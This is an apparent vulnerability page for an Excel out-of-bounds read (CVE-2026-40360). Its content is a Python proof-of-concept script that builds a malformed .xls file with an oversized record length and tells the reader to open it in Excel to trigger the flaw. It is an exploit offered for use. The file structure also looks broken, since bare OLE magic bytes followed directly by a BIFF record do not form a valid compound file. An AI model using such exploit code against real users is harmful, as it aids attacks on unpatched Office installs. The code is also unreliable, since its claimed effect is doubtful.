CVE-2026-40360 Microsoft Office Excel越界读取漏洞

# PoC Concept for CVE-2026-40360 # This script demonstrates the creation of a malformed Excel file structure. # Opening this file with a vulnerable version of Excel may trigger the OOB read. import struct def create_malicious_xls(): # Standard XLS file header header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # Constructing a record with invalid length to trigger OOB read # Record ID (e.g., Dimensions or a common record) record_id = struct.pack('<H', 0x0200) # Set length to a value that forces the parser to read beyond allocated memory invalid_length = struct.pack('<H', 0xFFFF) # Malformed payload payload = b"A" * 100 return header + record_id + invalid_length + payload if __name__ == "__main__": filename = "cve_2026_40360_poc.xls" with open(filename, "wb") as f: f.write(create_malicious_xls()) print(f"POC file '{filename}' generated. Open with Excel to test.")